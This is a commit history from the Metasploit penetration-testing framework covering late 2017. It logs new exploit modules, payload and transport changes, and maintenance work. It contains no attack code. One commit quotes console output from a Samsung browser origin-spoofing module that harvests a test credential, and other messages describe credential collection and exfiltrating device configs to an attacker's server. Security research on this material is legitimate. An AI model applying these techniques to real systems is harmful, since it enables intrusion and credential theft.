Actually save creds, or fail through sanely
...
This incidentally also allows for a custom collector to be implemented
by the user -- for example, if they'd rather pick up a session ID or
inject a browser hook or something along those lines. It's a little
clunky, using the advanced option of CUSTOM_JS, but it seems to work
fine.
2017-12-12 14:06:18 -06:00
Wei Chen
6149f51273
Land #9256 , Add aux module to discover WSDD enabled devices
...
Land #9256
2017-12-12 11:55:42 -06:00
Wei Chen
fdd4fc1c41
Land #9292 , fix variable name to store the username
...
Land #9292
2017-12-12 11:21:33 -06:00
Tim
c4e20e01e3
iOS meterpreter
2017-12-12 23:23:21 +08:00
RootUp
5f70199218
Update samsung_browser_sop_bypass.rb
2017-12-12 15:52:55 +05:30
Brent Cook
3f6846c332
update payloads with python retry fix
2017-12-12 03:13:38 -06:00
Brent Cook
f7dfba6bae
deduplicate code from python meterpreter
2017-12-12 03:12:36 -06:00
Brent Cook
b7c231bb93
further normalize transport config
2017-12-12 03:12:36 -06:00
Brent Cook
bb5ea540ab
fix a number of TODO's in the HTTP handler, remove duplication in handlers
2017-12-12 03:12:36 -06:00
Brent Cook
528a423fc0
fix python override scheme
2017-12-12 03:12:36 -06:00
Brent Cook
f49006222c
remove unneeded uri
2017-12-12 03:12:36 -06:00
Brent Cook
8e76c4cb4f
handle override at the meterpreter config layer
2017-12-12 03:12:36 -06:00
Brent Cook
636b93b026
minor simplification
2017-12-12 03:12:36 -06:00
Brent Cook
017374be71
pass lhost/lport back into generate_stage with reverse_http/s
2017-12-12 03:12:36 -06:00
securekomodo
b335cacfc1
Update wp_slideshowgallery_upload.rb
...
Variable on line 67 needs to be changed to "user" from "username" which was undefined and causing error during exploit execution.
[-] Exploit failed: NameError undefined local variable or method `username' for #<Msf::Modules::Mod6578706c6f69742f756e69782f7765626170702f77705f736c69646573686f7767616c6c6572795f75706c6f6164::MetasploitModule:0x0055c61ab093f8>
After changing the incorrect variable name from "username" to "user", the exploit completes.
2017-12-12 00:33:28 -05:00
Matthew Kienow
d79b0ad981
Land #9286 , Advantech WebAccess webvrpcs BOF RCE
2017-12-12 00:25:56 -05:00
mr_me
e7a2dd2e71
fixed email
2017-12-11 23:20:46 -06:00
mr_me
26e2eb8f1a
Changed to good ranking
2017-12-11 23:14:36 -06:00
Pearce Barry
7f93cca446
Land #9288 , Add Dup Scout Enterprise login buffer overflow
2017-12-11 17:12:20 -06:00
Pearce Barry
9a6c54840b
Minor tweak to use vprint...
2017-12-11 16:48:47 -06:00
Nicholas Starke
2d23054a1f
Changes as per comments
...
A few things were changed as per the PR comments:
1) The module title was reworded
2) The module description was multi-lined
3) Negative logic was rewritten to use 'unless'
4) Strings which did not require interpolation were rewritten
5) Documentation markdown was added.
2017-12-11 14:11:40 -06:00
mr_me
f8977ed72c
added some fixes
2017-12-11 11:34:17 -06:00
Ryan Knell
c5f218c84c
Addressing comments
...
1. Updated documentation
2. Made the Sec-WebSocket-Key header a random value
2017-12-11 11:49:31 -05:00
Brent Cook
63b5bb3dea
Land #9126 , Add android advanced options
2017-12-11 04:11:44 -06:00
Brent Cook
602335abf1
bump payloads
2017-12-11 04:11:21 -06:00
Brent Cook
1653e31f71
Merge branch 'upstream-master' into land-9126-
2017-12-11 03:57:00 -06:00
RootUp
03781e920c
Merge pull request #1 from todb-r7/pr-9180
...
Hi @todb-r7
By setting TARGET_URL to `www.google.com` the module works, but in vulnerable browser the address bar would display like `http://192.168.1.102:9090/www.google.com `
`
msf auxiliary(samsung_browser_sop_bypass) >
[*] Using URL: http://192.168.1.102:9090/
[*] Server started.
[*] 192.168.1.100: Request 'GET /'
[*] 192.168.1.100: Attempting to spoof origin for www.google.com
[*] 192.168.1.100: Request 'GET /favicon.ico'
[*] 192.168.1.100: Attempting to spoof origin for www.google.com
[*] 192.168.1.100: Request 'GET /www.google.com'
[*] 192.168.1.100: Attempting to spoof origin for www.google.com
[*] 192.168.1.100: Request 'GET /favicon.ico'
[*] 192.168.1.100: Attempting to spoof origin for www.google.com
[*] 192.168.1.100: Request 'GET /favicon.ico'
[*] 192.168.1.100: Attempting to spoof origin for www.google.com
[+] 192.168.1.100: Collected credential for 'www.google.com' test:test
`
2017-12-10 11:57:04 +05:30
William Vu
bbbe48efbb
Land #9289 , typo fix for sysgauge_client_bof.md
2017-12-09 19:37:13 -06:00
Chris Higgins
3a14ac3b37
Fixed a spelling error in documentation
2017-12-09 02:30:42 -06:00
Chris Higgins
e91830efe7
Add Dup Scout Enterprise login buffer overflow
2017-12-09 02:20:05 -06:00
Ryan Knell
668585a1f9
Adding documentation
...
Adding module documentation for ws_dos.
2017-12-08 15:52:57 -05:00
Tod Beardsley
cba5c7cb0f
Rename to actually call out the browser name
2017-12-08 13:53:13 -06:00
Tod Beardsley
0a9dcafb77
Actually collect the creds, sort of
...
Instead of an alert() (which the attacker won't see), this collects the
offered credentials in a POST action, and displays them in the console.
This should further store the creds somewhere handy, but this is good
enough for now for testing from @RootUp
2017-12-08 13:51:02 -06:00
Tod Beardsley
aee883a706
Fixed up description to be descriptive
2017-12-08 12:24:58 -06:00
Metasploit
348cbe54b6
Bump version of framework to 4.16.23
2017-12-08 10:01:55 -08:00
Tod Beardsley
61a8c2456d
Merge remote-tracking branch 'upstream/master'
2017-12-08 11:42:24 -06:00
Pearce Barry
604b949e23
Updated per review comments.
2017-12-08 10:42:43 -06:00
Brent Cook
378f11d859
Land #9279 , add docker pull badge to readme
2017-12-07 21:53:35 -06:00
Pearce Barry
7aef0f249e
Per MS-2916, load Mettle extensions via new API.
2017-12-07 20:40:22 -06:00
mr_me
34ef650b0d
fixed up msftidy, opps.
2017-12-07 17:03:39 -06:00
mr_me
073ffcb3bc
added some docs
2017-12-07 16:58:14 -06:00
mr_me
75a82b3fe7
Advantech WebAccess webvrpcs ViewDll1 Stack-based Buffer Overflow Remote Code Execution Vulnerability
2017-12-07 16:34:26 -06:00
Austin
900f7d6f69
docs on options
2017-12-07 14:47:40 -05:00
Austin
5a81f8091d
change some options for somethinf for sensible
2017-12-07 14:44:36 -05:00
Adam Cammack
5b5ac878cc
Land #9285 , Handle IPv6 addresses in full_uri
2017-12-07 13:25:05 -06:00
Austin
335cc13cab
remove option, advanced Message seems to break it.
2017-12-07 14:17:14 -05:00
William Vu
2565ad6a27
Handle IPv6 addresses in full_uri (add brackets)
2017-12-07 12:56:55 -06:00
Austin
7bdc99a153
Fix HANDLER + some default options!
2017-12-07 13:53:39 -05:00
Nicholas Starke
306c5d20d9
Adding ua_parser_js ReDoS Module
...
"ua-parser-js" is an npm module for parsing browser
user-agent strings. Vulnerable version of this module
have a problematic regular expression that can be exploited
to cause the entire application processing thread to "pause"
as it tries to apply the regular expression to the input.
This is problematic for single-threaded application environments
such as nodejs. The end result is a denial of service
condition for vulnerable applications, where no further
requests can be processed.
2017-12-07 10:25:29 -06:00
Ryan Knell
c992837f0d
Adding ws DoS module
...
This module verifies if ws is vulnerable
to DoS by sending a request to the server
containing a specific header value.
ws is a npm module which handles websockets.
2017-12-07 10:45:57 -05:00
Austin
09aa433fdc
Add MESSAGE field for "obfuscation"
2017-12-07 08:04:31 -05:00
William Vu
0a0d24d8f8
Land #9276 , cleanup of crufty code
2017-12-07 00:43:27 -06:00
Austin
12425d962c
Rename office_dde_delivery to office_dde_delivery.md
2017-12-06 22:40:57 -05:00
Austin
8bb6a8f47c
Rename office_dde_delivery to office_dde_delivery.rb
2017-12-06 22:40:37 -05:00
Austin
1e4b707a60
MS Office DDE Documentation
2017-12-06 21:46:47 -05:00
Austin
9d11c60d88
Office DDE Payload Delivery
...
Generate / Inject existing RTF files with DDE Payloads!
2017-12-06 21:41:00 -05:00
Christian Mehlmauer
912fbc3b8c
add docker pull badge to readme
2017-12-06 20:34:40 +01:00
Jeffrey Martin
cf4d9130a9
add initial module automation tests
2017-12-05 11:19:24 -06:00
Brent Cook
ce2db3cd87
Land #9275 , CVE-2017-11882 (docs fix)
2017-12-05 10:16:54 -06:00
Brent Cook
c15f379343
remove some unneeded backward-compat code
2017-12-04 22:27:21 -06:00
Austin
14226c5f33
missing docs on options
...
Missed fixes on documentation
2017-12-04 20:58:36 -05:00
William Webb
04b57f82e8
Land #9274 , Remove spaces from EOL
2017-12-04 17:11:06 -08:00
William Webb
adba277be0
axe errant spaces at EOL
2017-12-04 16:57:48 -08:00
William Webb
69b01d26bb
Land #9226 , Microsoft Office OLE object memory corruption
2017-12-04 16:50:27 -08:00
William Vu
19b37c7070
Land #9263 , drb_remote_codeexec fixes
...
See pull requests #7531 and #7749 for hysterical raisins.
2017-12-04 18:45:03 -06:00
Brent Cook
3cf1ffeb5f
Land #9273 , add authors to osx local root exploit
2017-12-04 18:42:23 -06:00
Brent Cook
b13f4e25e1
thanks for making this well-known
2017-12-04 18:32:31 -06:00
Brent Cook
a27bb38d51
add authors
2017-12-04 18:25:18 -06:00
Austin
b96dac28d5
fix info segment
2017-12-04 16:42:41 -05:00
Austin
b7f17f5519
fix documentation
2017-12-04 16:41:27 -05:00
Brent Cook
f83e9815dd
Land #9210 , Add a Polycom HDX RCE
2017-12-04 12:49:35 -06:00
Brent Cook
7edab268f5
handle case-insensitive password, fix received
2017-12-04 12:47:40 -06:00
Austin
06334aa2bd
Update polycom_hdx_traceroute_exec.rb
2017-12-04 11:05:01 -05:00
Yorick Koster
942e44ceae
Added local copies of the static content
2017-12-02 10:14:14 +01:00
wetw0rk
4cbb5f2619
added new target
2017-12-01 18:35:45 -06:00
Jacob Robles
c79186593a
Update DiskBoss Module (EDB 42395)
...
Added a new target option for the
DiskBoss Server.
2017-12-01 15:08:57 -06:00
Metasploit
fd1681edd9
Bump version of framework to 4.16.22
2017-12-01 10:04:07 -08:00
Austin
c788e4e540
Update office_ms17_11882.rb
2017-12-01 11:36:03 -05:00
Austin
7df46b33e8
disassembly ASM
2017-12-01 08:03:56 -05:00
Jon Hart
73742d7de5
Land @busterb's #9261 , which makes the default prompt include the longer name of the module,
...
avoiding ambiguity and providing more context
2017-11-30 12:45:31 -08:00
Zenofex
1ced3994b0
Added more reference urls to wd_mycloud_multiupload_upload module.
2017-11-30 12:53:33 -06:00
nromsdahl
b24f70c7c6
Update ssh_login.rb
...
Added credential data type so password is stored in creds.
2017-11-30 11:02:06 -06:00
Brent Cook
09dd5b8489
fix check command to not require an rport _method_
2017-11-30 10:51:21 -06:00
Brent Cook
c288dab338
fixup RHOST/RPORT expectations if only URI is set
2017-11-30 10:51:02 -06:00
Brent Cook
d689b33d7e
more error handling, deal with user error
2017-11-30 08:31:13 -06:00
Brent Cook
87e683c763
add back kill syscall for trap method
2017-11-30 08:12:15 -06:00
Brent Cook
a0e0e1db15
allow manual targeting, handle errors better
2017-11-30 07:51:12 -06:00
Brent Cook
eea72663b3
warn on method failure instead of error
2017-11-30 06:37:21 -06:00
Brent Cook
9f12b794da
cleanup comments
2017-11-30 06:37:04 -06:00
Brent Cook
5da34e8f2b
support RHOST/RPORT
2017-11-30 06:36:42 -06:00
Brent Cook
59580195b4
resurrect old methods, try all 3
2017-11-30 06:16:05 -06:00
Brent Cook
c848379ecb
simply use refname in the prompt?
2017-11-29 20:52:14 -06:00
Brent Cook
e5a5d35ad8
add 'promptname' that expands the module path a bit more
...
This allows the user to actually see the module context.
2017-11-29 19:49:43 -06:00
Brent Cook
55f56a5350
Land #9110 , added -C option to change default hosts columns
2017-11-29 17:48:44 -06:00
Brent Cook
51a18b68fe
Land #9211 , handle 2016 DC's with hashdump gracefully
2017-11-29 17:26:33 -06:00
Brent Cook
0aeb245c9c
Land #9252 , docker improvements
2017-11-29 17:15:47 -06:00
Brent Cook
7218159179
Land #9260 , add new meterpreter functionality
2017-11-29 17:12:49 -06:00
Brent Cook
edb2d8b762
fix windows unicode usernames, add recursive directory delete
2017-11-29 17:01:01 -06:00
bwatters-r7
e8965767a0
Land 9207, Expose more uuid attributes
2017-11-29 16:25:05 -06:00
Metasploit
174d0d46de
Bump version of framework to 4.16.21
2017-11-29 10:45:55 -08:00
Brent Cook
70ec576d52
use correct session variable
2017-11-29 11:53:56 -06:00
Brent Cook
ec2b5d48a6
add missing payload uuid accessors
2017-11-29 11:49:41 -06:00
Brent Cook
446f3fa675
more conversions
2017-11-29 11:49:41 -06:00
Brent Cook
59446f3d96
change ui to use new settings
2017-11-29 11:49:41 -06:00
Brent Cook
8051f790d0
if there is info in the uuid_db, put it in payload_uuid automatically
2017-11-29 11:49:41 -06:00
Brendan Coles
775529277f
Add documentation
2017-11-29 17:37:34 +00:00
bwatters-r7
c695828361
Land #9255 , add local exploit for osx root login with no password
2017-11-29 10:30:59 -06:00
bwatters-r7
9dc3d60fc2
Stupid Typos
2017-11-29 10:29:38 -06:00
Jeffrey Martin
e73ba0b3ca
Merge released '4.x' into master
2017-11-29 10:27:42 -06:00
bwatters-r7
efa8d566d7
Added documentation for iamroot
2017-11-29 10:26:06 -06:00
Brendan Coles
283b7c5145
Add WS-Discovery Information Discovery module
2017-11-29 12:21:22 +00:00
Tim W
58897bf2fc
msftidy
2017-11-29 16:36:50 +08:00
Tim W
7f1f7281f1
add local exploit for osx root login with no password
2017-11-29 16:06:02 +08:00
Brent Cook
19a62d6c82
Land #9254 , Fix include scope in external module mixin
2017-11-28 21:49:27 -06:00
Adam Cammack
3fff092042
Fix include scope in external module mixin
...
The auxiliary report mixin overrides some of the methods in
Metasploit::Credential, which is fine in framework, but causes issues in
projects relying on the base behavior of Metasploit::Credential. This
changes the include scope from global to just whatever includes the
external module mixin.
2017-11-28 21:41:52 -06:00
Austin
676a08b849
Update polycom_hdx_traceroute_exec.rb
2017-11-28 22:01:41 -05:00
Austin
2544b4d8db
Change target name
2017-11-28 21:39:04 -05:00
Austin
cb7f173811
Update office_ms17_11882.rb
2017-11-28 21:36:25 -05:00
William Vu
f132c1572f
Fix #9194 , clarified error for reloading modules
2017-11-28 17:15:56 -06:00
William Vu
f55ff36d1e
Land #9253 , debug print for CmdStager
2017-11-28 16:46:54 -06:00
William Vu
7b3bf85d03
Print the generated command stager for debugging
2017-11-28 16:00:28 -06:00
Christian Mehlmauer
0d38b70763
make travis build the image again
2017-11-28 21:59:26 +01:00
Christian Mehlmauer
50351320d7
more docker work
2017-11-28 21:35:20 +01:00
Zenofex
d174ef3a70
Add wd_mycloud_multiupload_upload exploit
2017-11-28 07:12:00 -06:00
Pearce Barry
60111adae6
Land #2 , OSX support tweaks and improvements to extension suffix handling.
2017-11-27 11:41:43 -06:00
William Vu
65412cd2f1
Land #9201 , enhanced tab completion
2017-11-27 11:37:04 -06:00
bwatters-r7
244acc48b6
Land #9212 , pfsense group member exec module
2017-11-27 11:27:29 -06:00
Brent Cook
047aef6062
Land #9243 , Windows Meterpreter fixes
2017-11-25 18:38:29 -06:00
Brent Cook
035d1ef2c6
bump payloads, pull in AES negotation & transport fixes
2017-11-25 18:21:57 -06:00
Brent Cook
2c6cfabbc3
Land #8948 , allow configuring payload HTTP headers for domain fronting
2017-11-25 10:08:22 -06:00
Brent Cook
8645a518b3
add mettle support for custom headers
2017-11-24 20:27:34 -06:00
Metasploit
c9da8f7a18
Bump version of framework to 4.16.20
2017-11-24 10:01:50 -08:00
William Webb
78e4b2b8dc
Land #9238 , Add support for Windows .NET Server in ms10_015_kitrap0d
2017-11-23 01:39:40 -06:00
vipzen
0d79a3a3e2
Add support to Windows .NET Server
2017-11-23 08:35:55 -02:00
WhiteWinterWolf
bfd5c2d330
Keep the initial option name 'ADMIN_ROLE'
2017-11-22 22:03:56 +01:00
Adam Cammack
778e69f929
Land #9229 , Randomize slowloris HTTP headers
2017-11-22 14:42:24 -06:00
Adam Cammack
ccdd1cd2ce
Land #9231 , Properly handle external module errors
2017-11-22 14:30:24 -06:00
Pearce Barry
9e0750bbe4
Land #9235 , Fix mongodb_login typo
2017-11-22 09:05:32 -06:00
attackdebris
ae43883e2b
Fix mongodb_login typo
2017-11-22 08:03:12 -05:00
Austin
43ff4f12e5
update docs
2017-11-22 06:57:35 -05:00
Austin
960893b99d
change default payload
2017-11-22 06:36:46 -05:00
Yorick Koster
a02a02cb0c
Fixed URL...
2017-11-22 11:31:23 +01:00
Yorick Koster
d21d3c140e
Fixed date
2017-11-22 11:15:34 +01:00
Yorick Koster
b5994bde79
Update pfsense_clickjacking.md
2017-11-22 11:10:47 +01:00
Yorick Koster
5b5c5520e6
Update pfsense_clickjacking.md
2017-11-22 11:09:54 +01:00
Yorick Koster
916ee05cce
Add exploit module for Clickjacking vulnerability in CSRF error page pfSense
2017-11-22 11:06:22 +01:00
Tim W
ce9d2aff2b
more osx hacks
2017-11-22 17:25:49 +08:00
Tim W
0f2bfb70c0
hacky fix for osx
2017-11-22 13:07:42 +08:00
scriptjunkie
9a81cc70dd
Fix corruption of non-latin characters in W methods
2017-11-21 20:58:38 -06:00
Austin
99555dde02
sleep! per feedback
2017-11-21 21:33:29 -05:00
Austin
73c692fb65
fix docs
2017-11-21 21:31:06 -05:00
Austin
205ded8509
Land #2 from jhart-r7/pr/fixup-9214
2017-11-21 21:22:23 -05:00
Jon Hart
5484ee840e
Correct port when eating cisco config
2017-11-21 18:09:51 -08:00
Jon Hart
bdc822c67d
Improve logging when requesting config
2017-11-21 18:09:02 -08:00
Jon Hart
5a358db260
Clean up shutdown messaging
2017-11-21 17:55:17 -08:00
Jon Hart
93c424c255
Remove unused
2017-11-21 17:54:31 -08:00
Jon Hart
b0d8b0a191
Clean up incoming file handling
2017-11-21 17:54:02 -08:00
Jon Hart
879db5cf38
Land #9050 , @mpizala's improvements to the docker_daemon_tcp module
2017-11-21 17:13:24 -08:00
Austin
275f70e77e
better saving
2017-11-21 19:34:04 -05:00
Austin
db4c0fcca9
spelling
2017-11-21 19:02:14 -05:00
Brent Cook
81c6823b72
handle interrupt and unknown exceptions properly with external modules
2017-11-21 17:50:53 -06:00
Matthew Kienow
785e5944d6
Enhanced slowloris HTTP headers and minor cleanup
2017-11-21 18:19:20 -05:00
Adam Cammack
19844fb6ed
Land #9227 , Add slowloris denial of service
2017-11-21 15:42:39 -06:00
Tim
92190403cc
use full target_path
2017-11-22 05:42:01 +08:00
Matthew Kienow
b6c81e6da0
Reimplement slowloris as external module
2017-11-21 16:21:01 -05:00
Daniel Teixeira
db2bd22d86
Update slow_loris.rb
2017-11-21 15:49:45 -05:00
Matthew Kienow
e07fe77a69
Close sockets to resolve file handle error
2017-11-21 15:49:45 -05:00
Daniel Teixeira
52f56527d8
Update slow_loris.rb
2017-11-21 15:49:45 -05:00
Daniel Teixeira
74becb69e8
Update slow_loris.rb
2017-11-21 15:49:45 -05:00
Daniel Teixeira
aa16288140
Update slow_loris.md
2017-11-21 15:49:45 -05:00
Daniel Teixeira
6d2007a4db
Update slow_loris.md
2017-11-21 15:49:44 -05:00
Daniel Teixeira
b7bc68c843
Update slow_loris.rb
2017-11-21 15:49:44 -05:00
Daniel Teixeira
fbb9e9d473
Update slow_loris.md
2017-11-21 15:49:44 -05:00
Daniel Teixeira
4419c0d851
Create slow_loris.md
2017-11-21 15:49:44 -05:00
Daniel Teixeira
53123d92e2
Update slow_loris.rb
2017-11-21 15:49:44 -05:00
Daniel Teixeira
21a6d0bd6e
Update slow_loris.rb
2017-11-21 15:49:44 -05:00
Daniel Teixeira
60878215e0
Update slow_loris.rb
2017-11-21 15:49:43 -05:00
Daniel Teixeira
9457359b11
Update slow_loris.rb
2017-11-21 15:49:43 -05:00
Daniel Teixeira
29017b8926
Update slow_loris.rb
2017-11-21 15:49:43 -05:00
Daniel Teixeira
f79b41edde
Slow Loris
2017-11-21 15:48:11 -05:00
Brent Cook
a7932ffe0e
fix sizes
2017-11-21 14:31:14 -06:00
Austin
fcea6fd8d4
actually create new file ;-;
2017-11-21 15:00:06 -05:00
Brent Cook
4050985649
update payloads
2017-11-21 13:53:33 -06:00
OJ
fea28a89a5
Fix TLV defs for http headers
2017-11-21 13:47:19 -06:00
Brent Cook
ea37196614
use cooler names c/o @timwr, make options easier to grep
2017-11-21 13:47:19 -06:00
Brent Cook
85acbadf01
more DRYing
2017-11-21 13:47:19 -06:00
Brent Cook
37ab771ca9
uri is not always defined, fix python stager generation
2017-11-21 13:47:19 -06:00
Brent Cook
2076db2d61
DRY up common stager and payload http and retry options
2017-11-21 13:47:19 -06:00
Brent Cook
1fd7f7c8bc
prefix MeterpreterUserAgent and PayloadProxy* with Http for consistency,
...
this also adds aliases where needed
2017-11-21 13:47:19 -06:00
Tim
a5af21fa1a
add http headers to Android/Java
2017-11-21 13:47:19 -06:00
OJ
ac79cc9f78
Fix up header string generation in transports
2017-11-21 13:47:18 -06:00
OJ
f6e9b12b43
Make sure stageless is supported
2017-11-21 13:47:18 -06:00
OJ
656babe9f4
Custom host header support in python meterp
2017-11-21 13:47:18 -06:00
OJ
a78d8f83fc
Add HTTP header support for Host/Cookie/Referer
...
This is to start the support for things like domain fronting.
2017-11-21 13:47:18 -06:00
Austin
39a4d193a1
Create office_ms17_11882.rb
2017-11-21 14:47:02 -05:00
Austin
fcf2cfa134
Create office_ms17_11882.md
2017-11-21 14:45:56 -05:00
Brent Cook
a4e199a6dd
Land #9000 , enhance module option registration
2017-11-21 12:09:21 -06:00
Brent Cook
c5cc013819
auto-detect SSL supported options
2017-11-21 08:30:42 -06:00
Brent Cook
967b459ff1
restore default enum is first value behavior
2017-11-21 08:30:42 -06:00
Brent Cook
6615c6efc7
tighten up corner cases with option validation
2017-11-21 08:30:42 -06:00
Brent Cook
6da66e885a
fix enum default logic for bools that default to false
2017-11-21 08:30:42 -06:00
Brent Cook
d811a2a8c1
set good defaults
2017-11-21 02:52:05 -06:00
Brent Cook
65c58c3d55
set a good default, remove unused methods, speed up checks
2017-11-21 02:52:05 -06:00
Brent Cook
ffa6d74a23
remove historical cruft
2017-11-21 02:52:05 -06:00
Brent Cook
d3ee86dc5c
update to new format
2017-11-21 02:52:05 -06:00
Brent Cook
249c08f597
usability improvements ith how base options are registered
...
This adds named parameters for all of the current array-index based
options. It also allows specifying the description as the 2nd parameter,
allowing the 'required' parameter to be implicitly false (the most
common value).
A simple parameter like:
OptAddress.new('ReverseListenerBindAddress',
[false, 'The specific IP address to bind to on the local system']),
Can now be rewritten as:
OptAddress.new('ReverseListenerBindAddress',
'The specific IP address to bind to on the local system'),
More complex options are also now easier to read:
OptString.new(
'HttpUserAgent',
'The user-agent that the payload should use',
default: Rex::UserAgent.shortest,
aliases: ['MeterpreterUserAgent']
),
This also makes dealing with enums easier because default is implicit
unless specified. This:
OptEnum.new('PayloadProxyType',
[true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
Becomes:
OptEnum.new('HttpProxyType',
'The proxy type, HTTP or SOCKS', required: true, enums: ['HTTP', 'SOCKS'])
This maintains full backward compatibility with existing code as well.
2017-11-21 02:52:05 -06:00
h00die
dd8238d146
rubocop got a donut
2017-11-20 20:08:28 -05:00
Adam Cammack
40a71af7ed
Add missing end
2017-11-20 17:50:59 -06:00
Matthew Kienow
21707cb7aa
Land #9225 , add external module template for DoS
2017-11-20 18:39:13 -05:00
Matthew Kienow
0fb0fab805
Landing #9224 , robust external module read loop
2017-11-20 18:25:09 -05:00
Adam Cammack
2fdc34c8fd
Add new template for DoS modules
2017-11-20 17:19:14 -06:00
Adam Cammack
dd57138423
Make external module read loop more robust
...
Changes from a "hope we get at most one message at a time" model to
something beginning to resemble a state machine. Also logs error output
and fails the MSF module when the external module fails.
2017-11-20 16:52:05 -06:00
Matthew Kienow
39f06a3995
Land #8807 , template for external module servers
2017-11-20 17:34:37 -05:00
Austin
cfd06ab24a
what was i thinking?
2017-11-20 16:08:48 -05:00
Martin Pizala
90d6165e68
bypass user namespaces docs
2017-11-19 22:10:39 +01:00
Austin
b6e2e2aa45
adjust delay
2017-11-19 09:43:18 -05:00
h00die
579d012fa2
spelling
2017-11-19 08:36:27 -05:00
h00die
b7f7afb3be
version detect, 2.2.6 handling
2017-11-19 08:28:07 -05:00
Austin
1087b8ca16
cleanup
2017-11-18 20:09:29 -05:00
Austin
40bb622b7a
update docs
...
Updating documentation
2017-11-18 13:07:24 -05:00
Austin
35567e3e23
Fix - copy system:running-config tftp://ip/file
...
Copies running config directly to TFTP server, thus removing the need to delete the file :D.
2017-11-18 13:02:12 -05:00
Austin
f84f824a71
remove ?
2017-11-17 16:15:18 -05:00
Austin
b457c60542
WORK IN PROGRESS - "GET"
...
Work in progress of GET, and PUT. PUT works fine for grabbing the configuration. GET will be used for service a config to execute commands , or the also WIP action "UPLOAD"
2017-11-17 15:36:27 -05:00
Metasploit
602406a423
Bump version of framework to 4.16.19
2017-11-17 10:02:22 -08:00
WhiteWinterWolf
2be3433bdb
Update references URLs
2017-11-17 13:27:35 +01:00
Austin
8b59c4615b
Update cisco_smart_install.rb
2017-11-17 07:09:41 -05:00
WhiteWinterWolf
a636380e4b
Merge the new method into drupal_drupageddon.rb
2017-11-17 13:00:15 +01:00
WhiteWinterWolf
704514a420
New exploit method for Drupageddon (CVE-2014-3704)
...
This new script exploits the same vulnerability as
*exploits/multi/http/drupal_drupageddon.rb*, but in a more efficient way.
2017-11-16 20:47:44 +01:00
Austin
feb24efd27
add DOWNLOAD action
...
Adds DOWNLOAD function, to download config and send to attacker TFTP server.
2017-11-16 12:58:54 -05:00
Austin
4a8d32af85
Update cisco_smart_install.rb
2017-11-16 12:53:27 -05:00
Austin
74a1b405c4
action addition DOWNLOAD
2017-11-16 12:46:31 -05:00
Metasploit
5cdd364590
Bump version of framework to 4.16.18
2017-11-15 19:46:12 -08:00
h00die
f8891952c6
pfsense group member exec module
2017-11-15 21:00:58 -05:00
Adam Cammack
c740f4369c
Land #9197 , Cleanup Mako Server exploit
2017-11-15 15:01:31 -06:00
Adam Cammack
4219959c6d
Bump ranking to Excellent
2017-11-15 15:00:47 -06:00
Adam Cammack
f357efd97c
Land #9208 , add AArch64 ELF to Msf::Util::Exe
2017-11-15 14:22:27 -06:00
bwatters-r7
83c228f3b8
Make rubocop less mad
2017-11-15 14:06:36 -06:00
bwatters-r7
33a07beb30
Fix whitespace issues
2017-11-15 12:26:49 -06:00
Austin
829a7a53db
verbose response.
2017-11-15 12:27:40 -05:00
bwatters-r7
53a068d13f
Add error handling for failed hashdumps
2017-11-15 11:08:35 -06:00
David Maloney
8b9e091e70
remove humorous typo
2017-11-15 11:08:25 -06:00
David Maloney
7162765b57
load extapi in domain_hashdump
...
domain hashdump always needs to load extapi to work
2017-11-15 11:08:17 -06:00
David Maloney
ad98c9c156
fix Windows server 2016 support for domain_hashdump
...
The domain hashdump psot module should now work
against Server 2016 DCs.
2017-11-15 11:08:06 -06:00
Austin
4918e5856d
Update polycom_hdx_traceroute_exec.rb
2017-11-15 10:41:51 -05:00
Austin
d93120e2ac
Create polycom_hdx_traceroute_exec.rb
2017-11-15 10:40:57 -05:00
Austin
256bf5a5ca
Create polycom_hdx_traceroute_exec.md
2017-11-15 10:38:53 -05:00
Martin Pizala
33e5508bcb
bypass user namespaces
2017-11-15 15:14:58 +01:00
Tim
4ec0faf35d
fix aarch64 cmdstager
2017-11-15 16:47:17 +08:00
Mehmet İnce
54936b6ac3
Updatig documentation and tweaking initiate_session
2017-11-15 01:04:06 +03:00
Mehmet İnce
86e47589b0
Add xplico remote code execution
2017-11-14 09:30:57 +03:00
Jeffrey Martin
80b381cde9
Merge released '4.x' into master
2017-11-13 14:11:23 -06:00
0xFFFFFF
d28ae361ca
Added exploit module for Samsung SRN-1670D vuln CVE-2017-16524
...
Please find my exploit module for the vulnerability CVE-2017-16524 I discovered and tested on Web Viewer 1.0.0.193 on SAMSUNG SRN-1670D
2017-11-12 20:11:44 +01:00
Spencer McIntyre
bc691cbd00
Document the new tab completion functions
2017-11-11 17:17:48 -05:00
Spencer McIntyre
fb7635502d
Tab completion for exploit and handler commands
2017-11-11 17:11:54 -05:00
Spencer McIntyre
68a43fef36
Add the new generic tab completion functoin
2017-11-11 16:47:11 -05:00
William Vu
f3e2f4d500
Land #9167 , D-Link DIR-850L exploit
2017-11-10 18:15:39 -06:00
William Vu
3936d3baa1
Clean up module
2017-11-10 18:15:22 -06:00
Martin Pizala
971ec80fc1
Keep the python target
2017-11-10 23:11:27 +01:00
Steven Patterson
df2b62dc27
Add Mako Server CMD injection Linux support, update docs, move to multi
2017-11-10 16:28:39 -05:00
Metasploit
4f660d7dd7
Bump version of framework to 4.16.17
2017-11-10 10:05:05 -08:00
William Vu
7b5ec9d0ec
Land #9193 , makoserver_cmd_exec cleanup
2017-11-10 10:36:16 -06:00
Jeffrey Martin
7595c7c627
Land #9194 , Add a check for .rb in cmd_edit
2017-11-09 21:56:50 -06:00
William Vu
97859ebf8c
Clarify XXX comment no user will ever see anyway
2017-11-09 15:23:37 -06:00
William Vu
577baf6070
Add a check for .rb in cmd_edit
2017-11-09 15:17:53 -06:00
William Vu
ea260e87b7
Remove headers, since we didn't send them before
...
http was an invalid key for setting headers, and we still got a shell.
These headers also don't seem relevant to the PUT request.
2017-11-09 11:06:50 -06:00
William Vu
7213e6cc49
Fix #9133 , makoserver_cmd_exec cleanup
2017-11-09 10:52:03 -06:00
attackdebris
500bde1150
get_vars tweak
2017-11-09 04:16:34 -05:00
h00die
52888871e3
Land #8747 RCE for Geutebrueck GCore on Windows
2017-11-08 20:22:54 -05:00
h00die
7ad151e68b
gcore formatting update
2017-11-08 20:21:40 -05:00
attackdebris
a04bc0a25b
Add get_vars, remove a https instance
2017-11-08 16:30:59 -05:00
Adam Cammack
39916ef61a
Land #9133 , Command injection in Mako Server examples
2017-11-08 15:11:01 -06:00
Patrick Webster
d95b333ae9
Added exploit module for HP LoadRunner command exec vuln CVE-2010-1549.
2017-11-09 03:59:18 +11:00
William Vu
b7c604f941
Land #9189 , s/patrick/aushack/g
2017-11-08 10:27:03 -06:00
